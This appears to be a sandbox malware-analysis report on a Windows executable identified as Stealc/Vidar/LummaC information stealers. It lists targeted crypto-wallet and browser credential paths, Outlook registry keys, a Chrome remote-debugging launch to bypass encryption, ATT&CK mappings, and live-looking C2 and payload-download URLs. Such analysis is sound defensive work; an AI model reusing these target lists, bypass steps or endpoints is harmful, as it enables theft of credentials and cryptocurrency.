Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\R2CgZG545D.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\R2CgZG545D.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\R2CgZG545D.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Documents\EHJKKKFIIJ.exe

Directory queried: C:\Users\user\Documents

Jump to behavior

Source: Yara match

File source: Process Memory Space: R2CgZG545D.exe PID: 5044, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\R2CgZG545D.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2077795159.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2640384429.0000000000851000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2642961226.000000000138E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: R2CgZG545D.exe PID: 5044, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: R2CgZG545D.exe PID: 5044, type: MEMORYSTR

Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6E0C40 sqlite3_bind_zeroblob,	0_2_6C6E0C40
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6E0D60 sqlite3_bind_parameter_name,	0_2_6C6E0D60
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C608EA0 sqlite3_clear_bindings,	0_2_6C608EA0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6E0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C6E0B40
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C606410 bind,WSAGetLastError,	0_2_6C606410
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C606070 PR_Listen,	0_2_6C606070
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C60C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C60C050
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C60C030 sqlite3_bind_parameter_count,	0_2_6C60C030
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6060B0 listen,WSAGetLastError,	0_2_6C6060B0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C5922D0 sqlite3_bind_blob,	0_2_6C5922D0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C6063C0 PR_Bind,	0_2_6C6063C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	1 Extra Window Memory Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	312 Process Injection	3 Obfuscated Files or Information	Security Account Manager	239 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	761 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	271 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	271 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	312 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
R2CgZG545D.exe	54%	Virustotal		Browse
R2CgZG545D.exe	47%	ReversingLabs	Win32.Trojan.Generic
R2CgZG545D.exe	100%	Avira	TR/Crypt.TPM.Gen
R2CgZG545D.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\Documents\EHJKKKFIIJ.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\py8tmzb[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\gdi32.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\Documents\EHJKKKFIIJ.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	47%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	47%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\Documents\EHJKKKFIIJ.exe	47%	ReversingLabs	Win32.Infostealer.Tinba

Name	IP	Active	Malicious	Reputation
discokeyus.lat	172.67.197.170	true	false	high
www.google.com	172.217.19.164	true	false	high
grannyejh.lat	unknown	unknown	false	high
sweepyribs.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.206/	false	high
necklacebudi.lat	false	high
http://185.215.113.16/mine/random.exe	false	high
https://discokeyus.lat/api	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
aspecteirs.lat	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
sweepyribs.lat	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
sustainskelet.lat	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
crosshuaht.lat	false	high
rapeflowwj.lat	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://www.google.com/async/newtab_promos	false	high
energyaffai.lat	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high
grannyejh.lat	false	high
discokeyus.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	CAKEBFCF.0.dr	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllN	R2CgZG545D.exe, 00000000.00000002.2642961226.000000000141B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/burpin1/random.exeou	skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/ac/?q=	R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000003.2402923557.0000000001430000.00000004.00000020.00020000.00000000.sdmp, CAKEBFCF.0.dr	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dllR	R2CgZG545D.exe, 00000000.00000002.2642961226.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://grannyejh.lat:443/apiS	aspnet_regiis.exe, 00000014.00000002.3254300960.0000000002E11000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.3253745592.0000000002E11000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	DGHIDAFCGIEHIEBFCFBA.0.dr	false	high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp, DGHIDAFCGIEHIEBFCFBA.0.dr	false	high
http://185.215.113.206c4becf79229cb002.php	R2CgZG545D.exe, 00000000.00000002.2640384429.000000000091C000.00000040.00000001.01000000.00000003.sdmp	false	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000003.2402923557.0000000001430000.00000004.00000020.00020000.00000000.sdmp, CAKEBFCF.0.dr	false	high
http://31.41.244.11/files/burpin1/random.exe3001	skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/burpin1/random.exeedL	skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/burpin1/random.exe01	skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/c4becf79229cb002.phpive	R2CgZG545D.exe, 00000000.00000002.2642961226.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	R2CgZG545D.exe, 00000000.00000002.2642961226.0000000001430000.00000004.00000020.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000003.2402923557.0000000001430000.00000004.00000020.00020000.00000000.sdmp, CAKEBFCF.0.dr	false	high
http://185.215.113.206/68b591d6548ec281/softokn3.dllk	R2CgZG545D.exe, 00000000.00000002.2642961226.00000000013E9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.2062w	R2CgZG545D.exe, 00000000.00000002.2642961226.000000000138E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/burpin1/random.exeE	skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/6929814593/py8tmzb.exeG	skotes.exe, 00000011.00000002.3323974534.0000000000F2B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://discokeyus.lat:443/api2	aspnet_regiis.exe, 00000014.00000002.3254300960.0000000002E11000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.3253745592.0000000002E11000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/burpin1/random.exe60ac02b4ded8abeee1fbc96a805145b002	skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.sqlite.org/copyright.html.	R2CgZG545D.exe, 00000000.00000002.2660489223.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, R2CgZG545D.exe, 00000000.00000002.2646366752.00000000059A8000.00000004.00000020.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/burpin1/random.exe60&	skotes.exe, 00000011.00000002.3323974534.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	false	unknown
